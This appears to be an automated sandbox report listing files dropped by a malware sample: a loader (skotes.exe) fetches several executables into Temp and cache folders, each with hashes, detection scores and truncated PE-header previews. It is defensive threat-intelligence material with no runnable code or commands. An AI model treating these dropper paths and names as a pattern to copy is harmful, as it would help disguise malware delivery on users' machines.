Preview:	MDMP..a..... .........^g........................................l7..........T.......8...........T...........`....6..........h...........T...............................................................................eJ..............GenuineIntel............T........1....^g............................. ..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA86D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8396
Entropy (8bit):	3.6953252712233446
Encrypted:	false
SSDEEP:	192:R6l7wVeJ4dy6l6Y25c6BbgmffG5rpDI89b4asfcom:R6lXJt6l6Yuc69gmfsb45fS
MD5:	01B122E0EF5EE534FCA6F02FB9997253
SHA1:	282DDDC21681D9ED172E6196ABB42125AB1BF8DA
SHA-256:	F471A4D7D807539DF27DC4B5EEA30F911B5A1325EC3BEEA6BDD8733D532ACC92
SHA-512:	76B6A3859C40B23868AA4BFB490B4BACD47CC61F1FDC5B7C29ED9651E600D5D2120AE0B37CCD7D37B960AD7BD4F95916EBAF786266FF31FEE2B4CBC6DC9A0513
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.1.2.5.7.2.<./.P.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA919.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4722
Entropy (8bit):	4.496134699929192
Encrypted:	false
SSDEEP:	48:cvIwWl8zsHJg77aI9a1WpW8VYDYm8M4JHpQm6E+F6+q8v6Qm6EYUMmxnzASsz0Kq:uIjfpI7oE7VrJq2RKd2Qm1zWz0KEd
MD5:	43AC4BB5C51EC19278E6F06F0E2EA157
SHA1:	B3FC7C5BED03FFF49F2479FF17501AA5785EFD3A
SHA-256:	5D32B350CA43B31D868F4340BCFDDE7A68769D1B5472BE6FACB27FA7555339D1
SHA-512:	D70598090F99E1580B5FFD4DE6BB8623E9A623C8B77C20EFDD39587D1386BE3F011E441E62327DD01EDAECBCBB5376349477662D45BCB80F6F9C17BA202782EC
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="632282" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.947620086095118
Encrypted:	false
SSDEEP:	49152:05+SKvXhag1L9rYoMaf3nHwKUXBKTgEdjVS1:y+SKvh11VYoMafg1BSpVS1
MD5:	6C1D0DABE1EC5E928F27B3223F25C26B
SHA1:	E25AB704A6E9B3E4C30A6C1F7043598A13856AD9
SHA-256:	92228A0012605351CF08DF9A2AD4B93FA552D7A75991F81FB80F1AE854A0E57D
SHA-512:	3A3F7AF4F6018FCBD8C6F2871270504731CF269134453C9A146351C3E4A5C89165ECCCAFB3655D8B39C1FF1EC68F06E1851C0ABD66D47602E1F0F8E36D4ACFE9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Yg..............................H...........@...........................H..........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..)..@.......\..............@...ubvmxkob.........z...^..............@...xdawalmh.....pH.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\ShtrayEasy35[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	262656
Entropy (8bit):	6.506195185682609
Encrypted:	false
SSDEEP:	6144:1o9QMB+47nuxNUzxsUke8w/Z2aLSrszLPGYDl:NwJuxKzmUkG9DZ
MD5:	C37A981BC24C4ABA6454DA4EECB7ACBE
SHA1:	2BFFDF27D0D4F7C810E323C1671A87ED2D6B644F
SHA-256:	D6FC121D54E4CDF3A1B6B0505C4F691F16D91FDD421BF96C04388B1C6F19E361
SHA-512:	2F44B5218B323BC2BAD3EE37426B5BBCBB089B1A561E5F2F48FD455FED0A395B50A6CBB3783BF06E25B144B3F77078629AB1D86FB2C8DF1A532230C81A3B2AB8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;.&.Z.u.Z.u.Z.u.".t.Z.u.".tSZ.u...t.Z.u...t.Z.u...t.Z.u.".t.Z.u.".t.Z.u.Z.uZZ.uf..t.Z.uf.&u.Z.uf..t.Z.uRich.Z.u........PE..L.....^g...............*..................... ....@..........................P............@.................................................................. ...#.....8...........................(...@............ ..8............................text...v........................... ..`.rdata..R.... ......................@..@.data.... ..........................@....rsrc...............................@..@.reloc...#... ...$..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1831936
Entropy (8bit):	7.94359557272391
Encrypted:	false
SSDEEP:	49152:IM5BnAfXKYH6helH+oPwyKbVEibpLze9cflpb3:3XAvJHXFwvXyYlR
MD5:	D5DA2FD5EA632CAE3FA62383DB932295
SHA1:	359E99BB56EBE39517CD92F7B0C516F22FA27A73
SHA-256:	431505E5A218AE028DA9B413CF8D63A4E39DA72774B2EE84B28353E999EF792F
SHA-512:	7EF17DD6AF64D4DF0FDF3098287125B34F23AE769422047E2334C139F1391EFC02ACD2CA1280B82452E768C8951E152780BB0CC61A0047D25BD2056799225486
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.............................j...........@..........................0j...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .....$......\|..............@...srjxsfrr.P....O..P...~..............@...swghvbpa......i.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ShtrayEasy35[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	167
Entropy (8bit):	4.43745738033235
Encrypted:	false
SSDEEP:	3:qVoB3tUROGclXqyvXboAcMBXqWSZUXqXlIVLGWbRIwcWWGu:q43tISl6kXiMIWSU6XlI55bRIpfGu
MD5:	0104C301C5E02BD6148B8703D19B3A73
SHA1:	7436E0B4B1F8C222C38069890B75FA2BAF9CA620
SHA-256:	446A6087825FA73EADB045E5A2E9E2ADF7DF241B571228187728191D961DDA1F
SHA-512:	84427B656A6234A651A6D8285C103645B861A18A6C5AF4ABB5CB4F3BEB5A4F0DF4A74603A0896C7608790FBB886DC40508E92D5709F44DCA05DD46C8316D15BF
Malicious:	false
Preview:	<html>..<head><title>301 Moved Permanently</title></head>..<body>..<center><h1>301 Moved Permanently</h1></center>..<hr><center>cloudflare</center>..</body>..</html>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1881088
Entropy (8bit):	7.949046445513086
Encrypted:	false
SSDEEP:	49152:AXWFaftOHi2EQlAwFmvPlbNtPemtCC9rIIHaoPn1:0FUE6AwFmvPlLGmt39rJ7P1
MD5:	2A9A8AC0536ADF8E5AAE9512C47AA11E
SHA1:	723893262D72D49CF113F27144C79B03B3B2590E
SHA-256:	9DA4459F70BF5BB599EB30EE6EAC2E717D31C36D86D9FE63A3BCB057A6081288
SHA-512:	31F5EEF6E5B3C30F5CD4F661260767363A5D19ED290673447C03A06FE462EA6B5FF3DEA05CE3796553D38D3C03D953907605D738C822287B11A0839D6C80C195
Malicious:	true
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Yg.............................`J...........@...........................J......i....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..*..@.......^..............@...jqjwcvpd.0... 0......`..............@...qgvyxvui.....PJ.....................@....taggant.0...`J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1015563001\378e4894d2.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1834496
Entropy (8bit):	7.947620086095118
Encrypted:	false
SSDEEP:	49152:05+SKvXhag1L9rYoMaf3nHwKUXBKTgEdjVS1:y+SKvh11VYoMafg1BSpVS1
MD5:	6C1D0DABE1EC5E928F27B3223F25C26B
SHA1:	E25AB704A6E9B3E4C30A6C1F7043598A13856AD9
SHA-256:	92228A0012605351CF08DF9A2AD4B93FA552D7A75991F81FB80F1AE854A0E57D
SHA-512:	3A3F7AF4F6018FCBD8C6F2871270504731CF269134453C9A146351C3E4A5C89165ECCCAFB3655D8B39C1FF1EC68F06E1851C0ABD66D47602E1F0F8E36D4ACFE9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Yg..............................H...........@...........................H..........@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......Z..............@... ..)..@.......\..............@...ubvmxkob.........z...^..............@...xdawalmh.....pH.....................@....taggant.0....H.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	262656
Entropy (8bit):	6.506195185682609
Encrypted:	false
SSDEEP:	6144:1o9QMB+47nuxNUzxsUke8w/Z2aLSrszLPGYDl:NwJuxKzmUkG9DZ
MD5:	C37A981BC24C4ABA6454DA4EECB7ACBE
SHA1:	2BFFDF27D0D4F7C810E323C1671A87ED2D6B644F
SHA-256:	D6FC121D54E4CDF3A1B6B0505C4F691F16D91FDD421BF96C04388B1C6F19E361
SHA-512:	2F44B5218B323BC2BAD3EE37426B5BBCBB089B1A561E5F2F48FD455FED0A395B50A6CBB3783BF06E25B144B3F77078629AB1D86FB2C8DF1A532230C81A3B2AB8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;.&.Z.u.Z.u.Z.u.".t.Z.u.".tSZ.u...t.Z.u...t.Z.u...t.Z.u.".t.Z.u.".t.Z.u.Z.uZZ.uf..t.Z.uf.&u.Z.uf..t.Z.uRich.Z.u........PE..L.....^g...............*..................... ....@..........................P............@.................................................................. ...#.....8...........................(...@............ ..8............................text...v........................... ..`.rdata..R.... ......................@..@.data.... ..........................@....rsrc...............................@..@.reloc...#... ...$..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1015565001\8418257119.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4438776
Entropy (8bit):	7.99505709582503
Encrypted:	true
SSDEEP:	98304:Z/5zwjjEgd1H9RKNXpyUEJh56Nd1QVECgnD8EUVLbZJZCH3J53uJ+b:Z/qBdHRSXYBmrohgnDfUxbZJE2K
MD5:	3A425626CBD40345F5B8DDDD6B2B9EFA
SHA1:	7B50E108E293E54C15DCE816552356F424EEA97A
SHA-256:	BA9212D2D5CD6DF5EB7933FB37C1B72A648974C1730BF5C32439987558F8E8B1
SHA-512:	A7538C6B7E17C35F053721308B8D6DC53A90E79930FF4ED5CFFECAA97F4D0FBC5F9E8B59F1383D8F0699C8D4F1331F226AF71D40325022D10B885606A72FE668
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88%
Preview:	MZ`.....................@...................................`...........!..L.!Require Windows..$PE..L....?.O............................_.............@..................................D..............................................0...O...........{C..?..............................................................l............................text............................... ..`.rdata...;.......<..................@..@.data....M..........................@....rsrc....O...0...P..................@..@........U..`.A.......S3.;.VWt.f9.b.A.t...`.A.P.P...P....Y.nj'.@....u..v..=..A..6P......P....9^..].v8.^..3......h..A.P..........P......P..x.A..E..E....;F.r......P.~...Y..6..j...t.A...t$..D....V...%s......A..F8......^.j..q.....A..3.9.`.A.t...@....9D$.t..t$.Ph.....5X.A.....A.3.....D$..`...\|$..u..@.....3.....p.A.............t$..D$..t$...`.A./.@..t$...P.Q..%`.A...3.....T$..L$....f..AABBf..u..L$.3.f9.t.@f.<A.u...t$...T.A..L$.......%..........S.\$.V..C;^.tLW3.j.Z...........Q.....3.9F.Y~.9F

C:\Users\user\AppData\Local\Temp\1015566001\f2cd5ac1bd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	727552
Entropy (8bit):	7.888061454157426
Encrypted:	false
SSDEEP:	12288:tyNudyx57oPuBlhyyZzWDtkfDdEIHiyO+rBlhyyZzWDtkfDdEIHiyO+N:t+3x5s2BCyqXIdXBCyqXId5
MD5:	28E568616A7B792CAC1726DEB77D9039
SHA1:	39890A418FB391B823ED5084533E2E24DFF021E1
SHA-256:	9597798F7789ADC29FBE97707B1BD8CA913C4D5861B0AD4FDD6B913AF7C7A8E2
SHA-512:	85048799E6D2756F1D6AF77F34E6A1F454C48F2F43042927845931B7ECFF2E5DE45F864627A3D4AA061252401225BBB6C2CAA8532320CCBE401E97C9C79AC8E5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 71%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....$Xg.................N..........,6............@..........................P......\|z....@.................................l...d...................................................................8h..............4...d............................text...AM.......N.................. ..`.rdata..<~...`.......V..............@..@.data...L...........................@....rsrc...............................@..@.reloc..............................@..B.bss.........0......................@....bss................................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1015567001\e145bb7f6e.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1881088
Entropy (8bit):	7.949046445513086
Encrypted:	false
SSDEEP:	49152:AXWFaftOHi2EQlAwFmvPlbNtPemtCC9rIIHaoPn1:0FUE6AwFmvPlLGmt39rJ7P1
MD5:	2A9A8AC0536ADF8E5AAE9512C47AA11E
SHA1:	723893262D72D49CF113F27144C79B03B3B2590E
SHA-256:	9DA4459F70BF5BB599EB30EE6EAC2E717D31C36D86D9FE63A3BCB057A6081288
SHA-512:	31F5EEF6E5B3C30F5CD4F661260767363A5D19ED290673447C03A06FE462EA6B5FF3DEA05CE3796553D38D3C03D953907605D738C822287B11A0839D6C80C195
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...b.Yg.............................`J...........@...........................J......i....@.................................T0..h.... .......................1...................................................................................... . .........H..................@....rsrc........ .......X..............@....idata .....0.......\..............@... ..*..@.......^..............@...jqjwcvpd.0... 0......`..............@...qgvyxvui.....PJ.....................@....taggant.0...`J.."..................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1015568001\b12a870d60.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1831936
Entropy (8bit):	7.94359557272391
Encrypted:	false
SSDEEP:	49152:IM5BnAfXKYH6helH+oPwyKbVEibpLze9cflpb3:3XAvJHXFwvXyYlR
MD5:	D5DA2FD5EA632CAE3FA62383DB932295
SHA1:	359E99BB56EBE39517CD92F7B0C516F22FA27A73
SHA-256:	431505E5A218AE028DA9B413CF8D63A4E39DA72774B2EE84B28353E999EF792F
SHA-512:	7EF17DD6AF64D4DF0FDF3098287125B34F23AE769422047E2334C139F1391EFC02ACD2CA1280B82452E768C8951E152780BB0CC61A0047D25BD2056799225486
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.............................j...........@..........................0j...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .....$......\|..............@...srjxsfrr.P....O..P...~..............@...swghvbpa......i.....................@....taggant.0....j.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7UYGNIQ8\xHdN9si8LjqmZs2y.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	262656
Entropy (8bit):	6.506195185682609
Encrypted:	false
SSDEEP:	6144:1o9QMB+47nuxNUzxsUke8w/Z2aLSrszLPGYDl:NwJuxKzmUkG9DZ
MD5:	C37A981BC24C4ABA6454DA4EECB7ACBE
SHA1:	2BFFDF27D0D4F7C810E323C1671A87ED2D6B644F
SHA-256:	D6FC121D54E4CDF3A1B6B0505C4F691F16D91FDD421BF96C04388B1C6F19E361
SHA-512:	2F44B5218B323BC2BAD3EE37426B5BBCBB089B1A561E5F2F48FD455FED0A395B50A6CBB3783BF06E25B144B3F77078629AB1D86FB2C8DF1A532230C81A3B2AB8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;.&.Z.u.Z.u.Z.u.".t.Z.u.".tSZ.u...t.Z.u...t.Z.u...t.Z.u.".t.Z.u.".t.Z.u.Z.uZZ.uf..t.Z.uf.&u.Z.uf..t.Z.uRich.Z.u........PE..L.....^g...............*..................... ....@..........................P............@.................................................................. ...#.....8...........................(...@............ ..8............................text...v........................... ..`.rdata..R.... ......................@..@.data.... ..........................@....rsrc...............................@..@.reloc...#... ...$..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1015564001\ShtrayEasy35.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	262656
Entropy (8bit):	6.506195185682609
Encrypted:	false
SSDEEP:	6144:1o9QMB+47nuxNUzxsUke8w/Z2aLSrszLPGYDl:NwJuxKzmUkG9DZ
MD5:	C37A981BC24C4ABA6454DA4EECB7ACBE
SHA1:	2BFFDF27D0D4F7C810E323C1671A87ED2D6B644F
SHA-256:	D6FC121D54E4CDF3A1B6B0505C4F691F16D91FDD421BF96C04388B1C6F19E361
SHA-512:	2F44B5218B323BC2BAD3EE37426B5BBCBB089B1A561E5F2F48FD455FED0A395B50A6CBB3783BF06E25B144B3F77078629AB1D86FB2C8DF1A532230C81A3B2AB8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;.&.Z.u.Z.u.Z.u.".t.Z.u.".tSZ.u...t.Z.u...t.Z.u...t.Z.u.".t.Z.u.".t.Z.u.Z.uZZ.uf..t.Z.uf.&u.Z.uf..t.Z.uRich.Z.u........PE..L.....^g...............*..................... ....@..........................P............@.................................................................. ...#.....8...........................(...@............ ..8............................text...v........................... ..`.rdata..R.... ......................@..@.data.... ..........................@....rsrc...............................@..@.reloc...#... ...$..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WzT4xP1v\LOVI3rtjoHDpADyV.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\N2FRA2Ll\7bOe0mBZpcivp612.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	262656
Entropy (8bit):	6.506195185682609
Encrypted:	false
SSDEEP:	6144:1o9QMB+47nuxNUzxsUke8w/Z2aLSrszLPGYDl:NwJuxKzmUkG9DZ
MD5:	C37A981BC24C4ABA6454DA4EECB7ACBE
SHA1:	2BFFDF27D0D4F7C810E323C1671A87ED2D6B644F
SHA-256:	D6FC121D54E4CDF3A1B6B0505C4F691F16D91FDD421BF96C04388B1C6F19E361
SHA-512:	2F44B5218B323BC2BAD3EE37426B5BBCBB089B1A561E5F2F48FD455FED0A395B50A6CBB3783BF06E25B144B3F77078629AB1D86FB2C8DF1A532230C81A3B2AB8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........;.&.Z.u.Z.u.Z.u.".t.Z.u.".tSZ.u...t.Z.u...t.Z.u...t.Z.u.".t.Z.u.".t.Z.u.Z.uZZ.uf..t.Z.uf.&u.Z.uf..t.Z.uRich.Z.u........PE..L.....^g...............*..................... ....@..........................P............@.................................................................. ...#.....8...........................(...@............ ..8............................text...v........................... ..`.rdata..R.... ......................@..@.data.... ..........................@....rsrc...............................@..@.reloc...#... ...$..................@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3000320
Entropy (8bit):	6.544431254922128
